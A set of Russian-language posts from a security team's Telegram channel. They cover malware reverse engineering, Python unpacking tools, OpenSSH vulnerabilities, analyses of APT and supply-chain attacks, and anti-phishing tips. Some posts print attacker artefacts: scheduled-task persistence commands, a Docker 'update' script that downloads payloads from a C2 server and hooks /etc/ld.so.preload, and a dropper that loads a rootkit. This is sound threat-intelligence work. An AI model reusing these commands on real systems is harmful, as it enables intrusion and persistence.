Статический резолв импортов 👨💻
Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.
😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.
Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.
Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.
Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам
Функция
На выходе
Функция
Функция
Однако на самом деле функция возвращает объект типа
Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.
Есть, конечно, соблазн написать функцию
#tip #reverse #idapython
@ptescalator
Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.
Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.
Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.
Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам
get_proc_by_hash
и извлечет ее аргументы.def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)
cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)
return result
Функция
get_args
поднимается на несколько шагов вверх от операции call
и извлекает аргументы.def get_args(call_addr):
func_name_hash = None
lib_name = None
cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()
if func_name_hash and lib_name:
return lib_name, func_name_hash
cur = ida_search.find_code(cur, SEARCH_UP)
На выходе
get_hashes
получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))
funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):
lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]
func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)
Функция
get_func_name
проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo
более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None
Функция
ida_typeinf.get_named_type
получает информацию о типе, который содержится в Type Library (*.til)
. Вызов выглядит так:Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)
Однако на самом деле функция возвращает объект типа
ida_typeinf.tinfo_t
.Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.
Есть, конечно, соблазн написать функцию
make_beautifully
, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Инструменты для работы с Python 😦
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны🐱 🐱 🐱
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller
, py2exe
и со скомпилированными файлами .pyc
.PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Что произошло с безопасностью OpenSSH в 2024 году 🚪
Взглянем на таймлайн:
• Весна. Бэкдор в xz-utils ((то есть скорее речь об атаке на цепочку поставок этих дистрибутивов, а не конкретно на OpenSSH) .
• Июль. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (
• Все тот же июль. Опубликована схожая проблема, получившая идентификатор
• Август. Еще одна, уже специфичная для FreeBSD,
❔ Что это вообще было
Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс
Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в
🔣 И теперь все это с технической базой и экскурсом на 30 секунд доступно в нашем блоге на Хабре. Enjoy!
#CVE #escvr
@ptescalator
Взглянем на таймлайн:
• Весна. Бэкдор в xz-utils (
CVE-2024-3094
). В результате его внедрения были скомпрометированы системы с systemd
, в которых в OpenSSH есть зависимость liblzma
, отсутствующая в нем изначально и самим OpenSSH напрямую не используемая • Июль. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (
CVE-2024-6387
) и представляющая собой перерожденную CVE-2006-5051
.• Все тот же июль. Опубликована схожая проблема, получившая идентификатор
CVE-2024-6409
.• Август. Еще одна, уже специфичная для FreeBSD,
CVE-2024-7589
.Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс
sshd
) — ставит под угрозу безопасность множества SSH-серверов с glibc. Эксплуатация уязвимости не требует особой конфигурации сервера (проблема актуальна и для конфигурации по умолчанию). Но при этом публичного PoC нет до сих пор.Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в
sshd
призваны не допустить эксплуатации этой уязвимости или хотя бы уменьшить ущерб в случае успешной атаки. Попутно провели обзор и остальных уязвимостей OpenSSH прошедшего года.#CVE #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Rare Wolf готовится к охоте 🐺
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
Использование ngrok:
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
Изменение рабочей директории: теперь вместо скрытой папки
Модернизирован также файл
В предыдущих атаках
Кроме того, в тестируемой злоумышленниками атаке появились файлы
🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
.scr/.exe
, мимикрирующий под легитимный документ. При открытии исполняемого файла создается все тот же скрипт cmd, но под новым именем, find.cmd
, и запускается документ-заглушка. Скрипт отвечает за запуск следующих этапов атаки: скачивание инструментов для последующей атаки, настройку данных для отправки найденной информации по почте и установку AnyDesk. Среди новых шагов мы приметили следующие.Использование ngrok:
C:\Users\admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\admin\AppData\Roaming\Windows\pas.rar ngrok.exe C:\Users\admin\AppData\Roaming\Windows\ /y
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
schtasks /create /tn "Find update" /tr "C:\Users\admin\AppData\Roaming\Windows\nircmd.exe exec hide C:\Users\admin\AppData\Roaming\Windows\task.bat" /sc onlogon /rl highest /f
Изменение рабочей директории: теперь вместо скрытой папки
C:\Intel
используется %APPDATA%\Windows
.Модернизирован также файл
bat.bat
. Теперь он отвечает за сбор данных о системе, их отправку на почтовый сервер и запуск нового ssh.ps1
, который открывает 22-й порт и запускает сервис sshd. А добавленный в автозапуск task.bat
, возможно, написанный с помощью нейросети (судя по комментариям на русском языке в коде), отвечает за запуск ngrok и его скрытие с помощью NirCmd, чтобы пользователь не видел консольного окна.В предыдущих атаках
rezet.cmd
собирал файлы по расширениям (doc, docx, pdf и т. п.), а bat.bat
искал данные, связанные с криптокошельками. В новых семплах этих действий нет.Кроме того, в тестируемой злоумышленниками атаке появились файлы
ps.ps1
и bat1.bat
. Они не запускаются в текущей версии атаки, но тоже предположительно написаны с помощью нейросетей и могут быть предназначены для запуска вручную. Файл bat1.bat
сканирует сеть на наличие активных устройств, находит общие папки Users и копирует вредоносный файл .SCR
в директории Downloads, Desktop и Public. Затем он запускает ps.ps1
, который ставит в автозагрузку запуск Edge и удаляет предыдущий скрипт.🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе🐱 .
IoCs:
#ti #pypi #pyanalysis #scs
@ptescalator
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
bvk
в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе
IoCs:
пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
ESCalator
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳 Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший…
Please open Telegram to view this post
VIEW IN TELEGRAM
(Ex)Cobalt в контейнере 🛂
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
#ir #ioc #malware
@ptescalator
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
/var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+
. Она содержит слои контейнеров:/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
docker save myimage:latest | gzip > myimage_latest.tar.gz
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
COPY
, которая копировала файл update
в образ, и команды запуска скрипта /bin/bash /update
. Затем модифицированный образ был загружен в локальный Docker Registry
.{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
update
:#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
/etc/ld.so.preload
./usr/lib/x86_64-linux-gnu/libssoc.so
— образец ExСobalt Launcher запускает процессы /usr/bin/checks
и /usr/bin/processes
.🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
leo.rpm-bin.link
mirror.dpkg-source.info
e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa
#ir #ioc #malware
@ptescalator
«Прикрепляю данные во вложении» 💌
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
2️⃣
3️⃣
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
🙌 Модуль
📧 Транспорт
Результаты выполнения команд, которые записываются отдельными файлами в каталог
👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
#ti #malware #tips #ioc
@ptescalator
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
messenger.py
— транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.2️⃣
agent.elf
— основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.3️⃣
maldrv.ko
— LKM-руткит. Используется для повышения привилегий агента.int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
finit_module
и запускает агент. 🙌 Модуль
maldrv.ko
перехватывает системный вызов execve
. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds
, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).📧 Транспорт
messenger.py
использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text
или plain
, записывая ее в файл /root/.output/.output.txt
. После получения письмо с командой удаляется из почтового ящика. Результаты выполнения команд, которые записываются отдельными файлами в каталог
/root/.output/
, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4
#ti #malware #tips #ioc
@ptescalator
Какому сервису вы обычно «доверяете» конфиденциальную информацию? 👍
Anonymous Poll
7%
DeepSeek 🐳
8%
ChatGPT 🤖
1%
Cursor 🐭
0%
Groq 🤨
2%
GigaChat 💬
29%
Форум War Thunder ✈
4%
YandexGPT 📱
0%
Gemini 🔷
1%
Copilot 🤝
47%
Telegram ✈️
Лох не мамонт, APK не видео 🦣
В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами
При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.
🔑 Пути проникновения на ваш Android
Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.
Вирус также может попасть на устройство:
• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.
🔐 Как не попасться
1️⃣ Будьте более внимательными:
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.
2️⃣ Настройте конфиденциальность в мессенджере. Вы можете запретить приглашать вас в группы и отключить получение СМС-сообщений от незнакомых пользователей («Настройки» → «Конфиденциальность»).
3️⃣ При получении от знакомого голосовых, СМС- и видеосообщений с необычными просьбами свяжитесь с ним через альтернативные каналы (злоумышленники часто используют дипфейки).
4️⃣ Не храните пароли и банковские реквизиты в избранных сообщениях и чатах.
5️⃣ Устанавливайте приложения только из официальных магазинов и с сайтов разработчиков. Проверяйте запрашиваемые разрешения: если приложение требует доступ к данным, не соответствующим его функциональности, это может указывать на вредоносное ПО.
6️⃣ Регулярно проверяйте список установленных приложений — раздел «Приложения» («Установленные файлы» и т. п.) в параметрах устройства. Некоторое вредоносное ПО скрывает себя от пользователя. Можно также использовать средства для мониторинга активности, которые уведомят о подозрительных действиях.
7️⃣ Обращайте внимание на уведомления и поведение устройства. Если приходит много нетипичных уведомлений или устройство сильно нагревается в неактивном состоянии, это может быть признаком того, что оно заражено.
8️⃣ Регулярно обновляйте ОС и приложения. В обновлениях часто содержатся исправления безопасности.
9️⃣ Используйте проверенные антивирусы.
1️⃣ 0️⃣ Для защиты от физического доступа к устройству используйте надежный пароль.
1️⃣ 1️⃣ Регулярно создавайте резервные копии данных и храните их в безопасном месте.
1️⃣ 2️⃣ Для оценки ущерба при заражении мобильного устройства проведите его исследование.
1️⃣ 3️⃣ Постоянно обучайтесь и будьте в курсе новых угроз. Для общей осведомленности можете пройти бесплатные курсы Positive Technologies — «Личная кибербезопасность» и «Базовая кибербезопасность: первое погружение».
💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.
🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.
#news #tips #malware
@ptescalator
В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами
CBO-Information.apk
, Фoтoгpaф.apk
, Google Video.apk
, Video.apk
, Видео.apk
, Фото.apk
, Photo.apk
, Докyмент <Количество штук>.apk
